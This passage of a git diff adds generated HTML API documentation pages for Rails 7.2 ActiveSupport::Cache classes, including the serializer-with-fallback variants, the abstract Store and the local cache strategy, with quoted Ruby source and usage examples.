+            dumped = Zlib::Inflate.inflate(dumped) if marked.start_with?(MARK_COMPRESSED)
+            Cache::Entry.unpack(marshal_load(dumped))
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump(entry) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 73
+          def dump(entry)
+            MARK_UNCOMPRESSED + Marshal.dump(entry.pack)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump_compressed(entry, threshold) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 77
+          def dump_compressed(entry, threshold)
+            dumped = Marshal.dump(entry.pack)
+
+            if dumped.bytesize >= threshold
+              compressed = Zlib::Deflate.deflate(dumped)
+              return MARK_COMPRESSED + compressed if compressed.bytesize < dumped.bytesize
+            end
+
+            MARK_UNCOMPRESSED + dumped
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dumped?(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 94
+          def dumped?(dumped)
+            dumped.start_with?(MARK_UNCOMPRESSED, MARK_COMPRESSED)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback/Marshal71WithFallback.html b/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback/Marshal71WithFallback.html new file mode 100644 index 0000000000..dbc061882b --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback/Marshal71WithFallback.html @@ -0,0 +1,206 @@ +--- +title: ActiveSupport::Cache::SerializerWithFallback::Marshal71WithFallback +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
MARSHAL_SIGNATURE="\x04\x08".b.freeze
+ + + + + + + +

Instance Public methods

+ +
+

+ + _load(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 109
+          def _load(dumped)
+            marshal_load(dumped)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 105
+          def dump(value)
+            Marshal.dump(value)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dumped?(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 113
+          def dumped?(dumped)
+            dumped.start_with?(MARSHAL_SIGNATURE)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback/MessagePackWithFallback.html b/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback/MessagePackWithFallback.html new file mode 100644 index 0000000000..da7e15eed1 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback/MessagePackWithFallback.html @@ -0,0 +1,193 @@ +--- +title: ActiveSupport::Cache::SerializerWithFallback::MessagePackWithFallback +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _load(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 126
+          def _load(dumped)
+            ActiveSupport::MessagePack::CacheSerializer.load(dumped)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 122
+          def dump(value)
+            ActiveSupport::MessagePack::CacheSerializer.dump(value)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dumped?(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 130
+          def dumped?(dumped)
+            available? && ActiveSupport::MessagePack.signature?(dumped)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback/PassthroughWithFallback.html b/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback/PassthroughWithFallback.html new file mode 100644 index 0000000000..b70bf25da2 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback/PassthroughWithFallback.html @@ -0,0 +1,232 @@ +--- +title: ActiveSupport::Cache::SerializerWithFallback::PassthroughWithFallback +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _load(entry) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 57
+          def _load(entry)
+            entry
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump(entry) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 49
+          def dump(entry)
+            entry
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump_compressed(entry, threshold) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 53
+          def dump_compressed(entry, threshold)
+            entry.compressed(threshold)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dumped?(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 61
+          def dumped?(dumped)
+            dumped.is_a?(Cache::Entry)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/Store.html b/src/7.2/classes/ActiveSupport/Cache/Store.html new file mode 100644 index 0000000000..60b8fac5ee --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/Store.html @@ -0,0 +1,1235 @@ +--- +title: ActiveSupport::Cache::Store +layout: default +--- +
+ +
+
+ +
+ +

Active Support Cache Store

+ +

An abstract cache store class. There are multiple cache store implementations, each having its own additional features. See the classes under the ActiveSupport::Cache module, e.g. ActiveSupport::Cache::MemCacheStore. MemCacheStore is currently the most popular cache store for large production websites.

+ +

Some implementations may not support all methods beyond the basic cache methods of fetch, write, read, exist?, and delete.

+ +

ActiveSupport::Cache::Store can store any Ruby object that is supported by its coderβ€˜s dump and load methods.

+ +
cache = ActiveSupport::Cache::MemoryStore.new
+
+cache.read('city')   # => nil
+cache.write('city', "Duckburgh") # => true
+cache.read('city')   # => "Duckburgh"
+
+cache.write('not serializable', Proc.new {}) # => TypeError
+
+ +

Keys are always translated into Strings and are case sensitive. When an object is specified as a key and has a cache_key method defined, this method will be called to define the key. Otherwise, the to_param method will be called. Hashes and Arrays can also be used as keys. The elements will be delimited by slashes, and the elements within a Hash will be sorted by key so they are consistent.

+ +
cache.read('city') == cache.read(:city)   # => true
+
+ +

Nil values can be cached.

+ +

If your cache is on a shared infrastructure, you can define a namespace for your cache entries. If a namespace is defined, it will be prefixed on to every key. The namespace can be either a static value or a Proc. If it is a Proc, it will be invoked when each key is evaluated so that you can use application logic to invalidate keys.

+ +
cache.namespace = -> { @last_mod_time }  # Set the namespace to a variable
+@last_mod_time = Time.now  # Invalidate the entire cache by changing namespace
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + options
+ [R] + silence
+ [R] + silence?
+ + + + +

Class Public methods

+ +
+

+ + new(options = nil) + +

+ + +
+

Creates a new cache.

+ +

Options

+
:namespace +
+

Sets the namespace for the cache. This option is especially useful if your application shares a cache with other applications.

+
:serializer +
+

The serializer for cached values. Must respond to dump and load.

+ +

The default serializer depends on the cache format version (set via config.active_support.cache_format_version when using Rails). The default serializer for each format version includes a fallback mechanism to deserialize values from any format version. This behavior makes it easy to migrate between format versions without invalidating the entire cache.

+ +

You can also specify serializer: :message_pack to use a preconfigured serializer based on ActiveSupport::MessagePack. The :message_pack serializer includes the same deserialization fallback mechanism, allowing easy migration from (or to) the default serializer. The :message_pack serializer may improve performance, but it requires the msgpack gem.

+
:compressor +
+

The compressor for serialized cache values. Must respond to deflate and inflate.

+ +

The default compressor is Zlib. To define a new custom compressor that also decompresses old cache entries, you can check compressed values for Zlib’s "\x78" signature:

+ +
module MyCompressor
+  def self.deflate(dumped)
+    # compression logic... (make sure result does not start with "\x78"!)
+  end
+
+  def self.inflate(compressed)
+    if compressed.start_with?("\x78")
+      Zlib.inflate(compressed)
+    else
+      # decompression logic...
+    end
+  end
+end
+
+ActiveSupport::Cache.lookup_store(:redis_cache_store, compressor: MyCompressor)
+
+
:coder +
+

The coder for serializing and (optionally) compressing cache entries. Must respond to dump and load.

+ +

The default coder composes the serializer and compressor, and includes some performance optimizations. If you only need to override the serializer or compressor, you should specify the :serializer or :compressor options instead.

+ +

If the store can handle cache entries directly, you may also specify coder: nil to omit the serializer, compressor, and coder. For example, if you are using ActiveSupport::Cache::MemoryStore and can guarantee that cache values will not be mutated, you can specify coder: nil to avoid the overhead of safeguarding against mutation.

+ +

The :coder option is mutally exclusive with the :serializer and :compressor options. Specifying them together will raise an ArgumentError.

+
+ +

Any other specified options are treated as default options for the relevant cache operations, such as read, write, and fetch.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 295
+      def initialize(options = nil)
+        @options = options ? validate_options(normalize_options(options)) : {}
+
+        @options[:compress] = true unless @options.key?(:compress)
+        @options[:compress_threshold] ||= DEFAULT_COMPRESS_LIMIT
+
+        @coder = @options.delete(:coder) do
+          legacy_serializer = Cache.format_version < 7.1 && !@options[:serializer]
+          serializer = @options.delete(:serializer) || default_serializer
+          serializer = Cache::SerializerWithFallback[serializer] if serializer.is_a?(Symbol)
+          compressor = @options.delete(:compressor) { Zlib }
+
+          Cache::Coder.new(serializer, compressor, legacy_serializer: legacy_serializer)
+        end
+
+        @coder ||= Cache::SerializerWithFallback[:passthrough]
+
+        @coder_supports_compression = @coder.respond_to?(:dump_compressed)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + cleanup(options = nil) + +

+ + +
+

Cleans up the cache by removing expired entries.

+ +

Options are passed to the underlying cache implementation.

+ +

Some implementations may not support this method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 747
+      def cleanup(options = nil)
+        raise NotImplementedError.new("#{self.class.name} does not support cleanup")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear(options = nil) + +

+ + +
+

Clears the entire cache. Be careful with this method since it could affect other processes if shared cache is being used.

+ +

The options hash is passed to the underlying cache implementation.

+ +

Some implementations may not support this method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 757
+      def clear(options = nil)
+        raise NotImplementedError.new("#{self.class.name} does not support clear")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decrement(name, amount = 1, options = nil) + +

+ + +
+

Decrements an integer value in the cache.

+ +

Options are passed to the underlying cache implementation.

+ +

Some implementations may not support this method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 738
+      def decrement(name, amount = 1, options = nil)
+        raise NotImplementedError.new("#{self.class.name} does not support decrement")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(name, options = nil) + +

+ + +
+

Deletes an entry in the cache. Returns true if an entry is deleted and false otherwise.

+ +

Options are passed to the underlying cache implementation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 674
+      def delete(name, options = nil)
+        options = merged_options(options)
+        key = normalize_key(name, options)
+
+        instrument(:delete, key, options) do
+          delete_entry(key, **options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_matched(matcher, options = nil) + +

+ + +
+

Deletes all entries with keys matching the pattern.

+ +

Options are passed to the underlying cache implementation.

+ +

Some implementations may not support this method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 720
+      def delete_matched(matcher, options = nil)
+        raise NotImplementedError.new("#{self.class.name} does not support delete_matched")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_multi(names, options = nil) + +

+ + +
+

Deletes multiple entries in the cache. Returns the number of deleted entries.

+ +

Options are passed to the underlying cache implementation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 687
+      def delete_multi(names, options = nil)
+        return 0 if names.empty?
+
+        options = merged_options(options)
+        names.map! { |key| normalize_key(key, options) }
+
+        instrument_multi(:delete_multi, names, options) do
+          delete_multi_entries(names, **options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exist?(name, options = nil) + +

+ + +
+

Returns true if the cache contains an entry for the given key.

+ +

Options are passed to the underlying cache implementation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 701
+      def exist?(name, options = nil)
+        options = merged_options(options)
+        key = normalize_key(name, options)
+
+        instrument(:exist?, key) do |payload|
+          entry = read_entry(key, **options, event: payload)
+          (entry && !entry.expired? && !entry.mismatched?(normalize_version(name, options))) || false
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fetch(name, options = nil, &block) + +

+ + +
+

Fetches data from the cache, using the given key. If there is data in the cache with the given key, then that data is returned.

+ +

If there is no such data in the cache (a cache miss), then nil will be returned. However, if a block has been passed, that block will be passed the key and executed in the event of a cache miss. The return value of the block will be written to the cache under the given cache key, and that return value will be returned.

+ +
cache.write('today', 'Monday')
+cache.fetch('today')  # => "Monday"
+
+cache.fetch('city')   # => nil
+cache.fetch('city') do
+  'Duckburgh'
+end
+cache.fetch('city')   # => "Duckburgh"
+
+ +

Options

+ +

Internally, fetch calls read_entry, and calls write_entry on a cache miss. Thus, fetch supports the same options as read and write. Additionally, fetch supports the following options:

+
  • +

    force: true - Forces a cache β€œmiss,” meaning we treat the cache value as missing even if it’s present. Passing a block is required when force is true so this always results in a cache write.

    + +
    cache.write('today', 'Monday')
    +cache.fetch('today', force: true) { 'Tuesday' } # => 'Tuesday'
    +cache.fetch('today', force: true) # => ArgumentError
    +
    + +

    The :force option is useful when you’re calling some other method to ask whether you should force a cache write. Otherwise, it’s clearer to just call write.

    +
  • +

    skip_nil: true - Prevents caching a nil result:

    + +
    cache.fetch('foo') { nil }
    +cache.fetch('bar', skip_nil: true) { nil }
    +cache.exist?('foo') # => true
    +cache.exist?('bar') # => false
    +
    +
  • +

    :race_condition_ttl - Specifies the number of seconds during which an expired value can be reused while a new value is being generated. This can be used to prevent race conditions when cache entries expire, by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect).

    + +

    When a process encounters a cache entry that has expired less than :race_condition_ttl seconds ago, it will bump the expiration time by :race_condition_ttl seconds before generating a new value. During this extended time window, while the process generates a new value, other processes will continue to use the old value. After the first process writes the new value, other processes will then use it.

    + +

    If the first process errors out while generating a new value, another process can try to generate a new value after the extended time window has elapsed.

    + +
    # Set all values to expire after one minute.
    +cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 1)
    +
    +cache.write("foo", "original value")
    +val_1 = nil
    +val_2 = nil
    +p cache.read("foo") # => "original value"
    +
    +sleep 1 # wait until the cache expires
    +
    +t1 = Thread.new do
    +  # fetch does the following:
    +  # 1. gets an recent expired entry
    +  # 2. extends the expiry by 2 seconds (race_condition_ttl)
    +  # 3. regenerates the new value
    +  val_1 = cache.fetch("foo", race_condition_ttl: 2) do
    +    sleep 1
    +    "new value 1"
    +  end
    +end
    +
    +# Wait until t1 extends the expiry of the entry
    +# but before generating the new value
    +sleep 0.1
    +
    +val_2 = cache.fetch("foo", race_condition_ttl: 2) do
    +  # This block won't be executed because t1 extended the expiry
    +  "new value 2"
    +end
    +
    +t1.join
    +
    +p val_1 # => "new value 1"
    +p val_2 # => "oritinal value"
    +p cache.fetch("foo") # => "new value 1"
    +
    +# The entry requires 3 seconds to expire (expires_in + race_condition_ttl)
    +# We have waited 2 seconds already (sleep(1) + t1.join) thus we need to wait 1
    +# more second to see the entry expire.
    +sleep 1
    +
    +p cache.fetch("foo") # => nil
    +
    +
+ +

Dynamic Options

+ +

In some cases it may be necessary to dynamically compute options based on the cached value. To support this, an ActiveSupport::Cache::WriteOptions instance is passed as the second argument to the block. For example:

+ +
cache.fetch("authentication-token:#{user.id}") do |key, options|
+  token = authenticate_to_service
+  options.expires_at = token.expires_at
+  token
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 444
+      def fetch(name, options = nil, &block)
+        if block_given?
+          options = merged_options(options)
+          key = normalize_key(name, options)
+
+          entry = nil
+          unless options[:force]
+            instrument(:read, key, options) do |payload|
+              cached_entry = read_entry(key, **options, event: payload)
+              entry = handle_expired_entry(cached_entry, key, options)
+              if entry
+                if entry.mismatched?(normalize_version(name, options))
+                  entry = nil
+                else
+                  begin
+                    entry.value
+                  rescue DeserializationError
+                    entry = nil
+                  end
+                end
+              end
+              payload[:super_operation] = :fetch if payload
+              payload[:hit] = !!entry if payload
+            end
+          end
+
+          if entry
+            get_entry_value(entry, name, options)
+          else
+            save_block_result_to_cache(name, key, options, &block)
+          end
+        elsif options && options[:force]
+          raise ArgumentError, "Missing block: Calling `Cache#fetch` with `force: true` requires a block."
+        else
+          read(name, options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fetch_multi(*names) + +

+ + +
+

Fetches data from the cache, using the given keys. If there is data in the cache with the given keys, then that data is returned. Otherwise, the supplied block is called for each key for which there was no data, and the result will be written to the cache and returned. Therefore, you need to pass a block that returns the data to be written to the cache. If you do not want to write the cache when the cache is not found, use read_multi.

+ +

Returns a hash with the data for each of the names. For example:

+ +
cache.write("bim", "bam")
+cache.fetch_multi("bim", "unknown_key") do |key|
+  "Fallback value for key: #{key}"
+end
+# => { "bim" => "bam",
+#      "unknown_key" => "Fallback value for key: unknown_key" }
+
+ +

You may also specify additional options via the options argument. See fetch for details. Other options are passed to the underlying cache implementation. For example:

+ +
cache.fetch_multi("fizz", expires_in: 5.seconds) do |key|
+  "buzz"
+end
+# => {"fizz"=>"buzz"}
+cache.read("fizz")
+# => "buzz"
+sleep(6)
+cache.read("fizz")
+# => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 593
+      def fetch_multi(*names)
+        raise ArgumentError, "Missing block: `Cache#fetch_multi` requires a block." unless block_given?
+        return {} if names.empty?
+
+        options = names.extract_options!
+        options = merged_options(options)
+
+        writes  = {}
+        ordered = instrument_multi :read_multi, names, options do |payload|
+          if options[:force]
+            reads = {}
+          else
+            reads = read_multi_entries(names, **options)
+          end
+
+          ordered = names.index_with do |name|
+            reads.fetch(name) { writes[name] = yield(name) }
+          end
+          writes.compact! if options[:skip_nil]
+
+          payload[:hits] = reads.keys
+          payload[:super_operation] = :fetch_multi
+
+          ordered
+        end
+
+        write_multi(writes, options)
+
+        ordered
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + increment(name, amount = 1, options = nil) + +

+ + +
+

Increments an integer value in the cache.

+ +

Options are passed to the underlying cache implementation.

+ +

Some implementations may not support this method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 729
+      def increment(name, amount = 1, options = nil)
+        raise NotImplementedError.new("#{self.class.name} does not support increment")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mute() + +

+ + +
+

Silences the logger within a block.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 322
+      def mute
+        previous_silence, @silence = @silence, true
+        yield
+      ensure
+        @silence = previous_silence
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read(name, options = nil) + +

+ + +
+

Reads data from the cache, using the given key. If there is data in the cache with the given key, then that data is returned. Otherwise, nil is returned.

+ +

Note, if data was written with the :expires_in or :version options, both of these conditions are applied before the data is returned.

+ +

Options

+
  • +

    :namespace - Replace the store namespace for this call.

    +
  • +

    :version - Specifies a version for the cache entry. If the cached version does not match the requested version, the read will be treated as a cache miss. This feature is used to support recyclable cache keys.

    +
+ +

Other options will be handled by the specific cache store implementation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 498
+      def read(name, options = nil)
+        options = merged_options(options)
+        key     = normalize_key(name, options)
+        version = normalize_version(name, options)
+
+        instrument(:read, key, options) do |payload|
+          entry = read_entry(key, **options, event: payload)
+
+          if entry
+            if entry.expired?
+              delete_entry(key, **options)
+              payload[:hit] = false if payload
+              nil
+            elsif entry.mismatched?(version)
+              payload[:hit] = false if payload
+              nil
+            else
+              payload[:hit] = true if payload
+              begin
+                entry.value
+              rescue DeserializationError
+                payload[:hit] = false
+                nil
+              end
+            end
+          else
+            payload[:hit] = false if payload
+            nil
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read_multi(*names) + +

+ + +
+

Reads multiple values at once from the cache. Options can be passed in the last argument.

+ +

Some cache implementation may optimize this method.

+ +

Returns a hash mapping the names provided to the values found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 536
+      def read_multi(*names)
+        return {} if names.empty?
+
+        options = names.extract_options!
+        options = merged_options(options)
+
+        instrument_multi :read_multi, names, options do |payload|
+          read_multi_entries(names, **options, event: payload).tap do |results|
+            payload[:hits] = results.keys
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + silence!() + +

+ + +
+

Silences the logger.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 316
+      def silence!
+        @silence = true
+        self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + write(name, value, options = nil) + +

+ + +
+

Writes the value to the cache with the key. The value must be supported by the coderβ€˜s dump and load methods.

+ +

Returns true if the write succeeded, nil if there was an error talking to the cache backend, or false if the write failed for another reason.

+ +

By default, cache entries larger than 1kB are compressed. Compression allows more data to be stored in the same memory footprint, leading to fewer cache evictions and higher hit rates.

+ +

Options

+
  • +

    compress: false - Disables compression of the cache entry.

    +
  • +

    :compress_threshold - The compression threshold, specified in bytes. Cache entries larger than this threshold will be compressed. Defaults to 1.kilobyte.

    +
  • +

    :expires_in - Sets a relative expiration time for the cache entry, specified in seconds. :expire_in and :expired_in are aliases for :expires_in.

    + +
    cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 5.minutes)
    +cache.write(key, value, expires_in: 1.minute) # Set a lower value for one entry
    +
    +
  • +

    :expires_at - Sets an absolute expiration time for the cache entry.

    + +
    cache = ActiveSupport::Cache::MemoryStore.new
    +cache.write(key, value, expires_at: Time.now.at_end_of_hour)
    +
    +
  • +

    :version - Specifies a version for the cache entry. When reading from the cache, if the cached version does not match the requested version, the read will be treated as a cache miss. This feature is used to support recyclable cache keys.

    +
+ +

Other options will be handled by the specific cache store implementation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 660
+      def write(name, value, options = nil)
+        options = merged_options(options)
+        key = normalize_key(name, options)
+
+        instrument(:write, key, options) do
+          entry = Entry.new(value, **options.merge(version: normalize_version(name, options)))
+          write_entry(key, entry, **options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + write_multi(hash, options = nil) + +

+ + +
+

Cache Storage API to write multiple values at once.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 550
+      def write_multi(hash, options = nil)
+        return hash if hash.empty?
+
+        options = merged_options(options)
+
+        instrument_multi :write_multi, hash, options do |payload|
+          entries = hash.each_with_object({}) do |(name, value), memo|
+            memo[normalize_key(name, options)] = Entry.new(value, **options.merge(version: normalize_version(name, options)))
+          end
+
+          write_multi_entries entries, **options
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + key_matcher(pattern, options) + +

+ + +
+

Adds the namespace defined in the options to a pattern designed to match keys. Implementations that support delete_matched should call this method to translate a pattern that matches names into one that matches namespaced keys.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 777
+        def key_matcher(pattern, options) # :doc:
+          prefix = options[:namespace].is_a?(Proc) ? options[:namespace].call : options[:namespace]
+          if prefix
+            source = pattern.source
+            if source.start_with?("^")
+              source = source[1, source.length]
+            else
+              source = ".*#{source[0, source.length]}"
+            end
+            Regexp.new("^#{Regexp.escape(prefix)}:#{source}", pattern.options)
+          else
+            pattern
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/Strategy.html b/src/7.2/classes/ActiveSupport/Cache/Strategy.html new file mode 100644 index 0000000000..b26b49816f --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/Strategy.html @@ -0,0 +1,77 @@ +--- +title: ActiveSupport::Cache::Strategy +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/Strategy/LocalCache.html b/src/7.2/classes/ActiveSupport/Cache/Strategy/LocalCache.html new file mode 100644 index 0000000000..c92a26d15c --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/Strategy/LocalCache.html @@ -0,0 +1,165 @@ +--- +title: ActiveSupport::Cache::Strategy::LocalCache +layout: default +--- +
+ +
+
+ +
+ +

Local Cache Strategy

+ +

Caches that implement LocalCache will be backed by an in-memory cache for the duration of a block. Repeated calls to the cache for the same key will hit the in-memory cache for faster access.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + middleware() + +

+ + +
+

Middleware class can be inserted as a Rack handler to be local cache for the duration of request.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/strategy/local_cache.rb, line 73
+        def middleware
+          @middleware ||= Middleware.new(
+            "ActiveSupport::Cache::Strategy::LocalCache",
+            local_cache_key)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_local_cache(&block) + +

+ + +
+

Use a local cache for the duration of block.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/strategy/local_cache.rb, line 67
+        def with_local_cache(&block)
+          use_temporary_local_cache(LocalStore.new, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/Strategy/LocalCache/LocalStore.html b/src/7.2/classes/ActiveSupport/Cache/Strategy/LocalCache/LocalStore.html new file mode 100644 index 0000000000..057328de90 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/Strategy/LocalCache/LocalStore.html @@ -0,0 +1,314 @@ +--- +title: ActiveSupport::Cache::Strategy::LocalCache::LocalStore +layout: default +--- +
+ +
+
+ +
+ +

Local Cache Store

+ +

Simple memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/strategy/local_cache.rb, line 36
+          def initialize
+            @data = {}
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + clear(options = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/strategy/local_cache.rb, line 40
+          def clear(options = nil)
+            @data.clear
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_entry(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/strategy/local_cache.rb, line 57
+          def delete_entry(key)
+            !!@data.delete(key)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read_entry(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/strategy/local_cache.rb, line 44
+          def read_entry(key)
+            @data[key]
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read_multi_entries(keys) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/strategy/local_cache.rb, line 48
+          def read_multi_entries(keys)
+            @data.slice(*keys)
+          end
+ + πŸ”Ž See on GitHub + +
